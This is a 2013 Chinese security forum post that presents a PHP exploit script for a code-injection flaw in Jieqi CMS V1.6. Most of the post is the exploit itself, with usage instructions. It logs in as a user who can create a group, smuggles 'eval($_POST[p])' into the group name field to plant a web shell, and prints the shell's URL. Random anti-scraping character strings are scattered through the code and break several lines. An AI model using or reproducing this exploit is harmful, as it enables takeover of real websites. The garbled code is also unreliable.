找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2415|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。# U  c3 i* |; W! b/ i  R1 m
# v# T' @% w( I/ K  m7 r5 r+ b" `
0 o. b5 C7 B! m" Y; p, e' A
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
: C8 z0 ]+ Z/ i" `; |7 d 需要有一个能创建圈子的用户。
9 y2 H* t4 Q1 ~- s- n2 E' H
3 }: q2 P5 y1 U2 M2 s3 t: @- A7 y0 R<?php$ ?0 [( X3 H; L7 E) z7 E0 b

! O5 }# d8 O4 K1 I6 F5 }0 W; Nprint_r('
8 F6 z+ u$ r- z  ?+---------------------------------------------------------------------------+
- S7 _+ |/ s( Q) jJieqi CMS V1.6 PHP Code Injection Exploit# n' R( l1 w$ e
by flyh4t
" t6 }! q1 H9 J& t% ~" i  [8 \mail: phpsec at hotmail dot com
$ }; X% U4 f: ^! cteam: http://www.wolvez.org  Y. b8 b( i: h# S9 G9 l0 R8 v+ \  u9 j
+---------------------------------------------------------------------------+
0 G; X5 t2 r1 a3 C+ g* C* v'); /**
" z' A4 X) M9 `# @9 N * works regardless of php.ini settings
0 `) |+ ]( h9 W) }*/ if ($argc < 5) { print_r('. H, E) J* z* L/ @5 X) ^
+---------------------------------------------------------------------------+
# @( \; X# \- ?" EUsage: php '.$argv[0].' host path username6 ^$ b! n: `0 _6 M& L: i
host:      target server (ip/hostname)
5 b+ d$ F( n& P9 [path:      path to jieqicms ) c% C9 {5 B" w3 B; t$ o% v
uasename:  a username who can create group' {9 ~7 n- S3 _( [
Example:0 W% ?" U, P7 U/ x4 a4 K+ c
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password  j" h4 T* w8 \# L- W
+---------------------------------------------------------------------------+
2 |2 H/ Q1 T6 x  A4 C6 l'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------232811682799613 G, a. a2 y  x1 j/ `9 m
Content-Disposition: form-data; name="gname", k$ Q# P& X) |7 u. j+ R7 u: ]# t3 W

# r* ]/ [' q9 c- u'; $params .="';"; $params .='eval($_POST[p]);//flyh4t) N: E$ M/ `" B, t" F2 B
-----------------------------23281168279961' o, @3 z" F2 n, {
Content-Disposition: form-data; name="gcatid"
' H( z' |- q/ _0 O 9 Z& M' j! x5 I& x3 ]3 ?
1
3 R2 g6 e3 L7 r-----------------------------23281168279961% K% y2 B, B3 n5 p7 i5 X
Content-Disposition: form-data; name="gaudit"7 Y( n6 J& f; O. X5 K) }

" L0 q7 E; f% P/ l" E& J5 v* e1
- p' D$ I3 @, H1 ^  w' M-----------------------------23281168279961
) ]( T$ Y/ L/ S  R( r6 qContent-Disposition: form-data; name="gbrief"8 w! Q8 W3 a2 L, z+ t  n+ r# H

% p, z( X" N9 Q5 ]% W7 _12 D1 u5 h7 t( H8 ]
-----------------------------23281168279961--
: o9 V2 b4 @& ]8 E9 s% S'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com7 o; ^2 ~4 j6 [' s  }/ V/ [
# K, N3 i: P9 c9 V6 X2 o
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表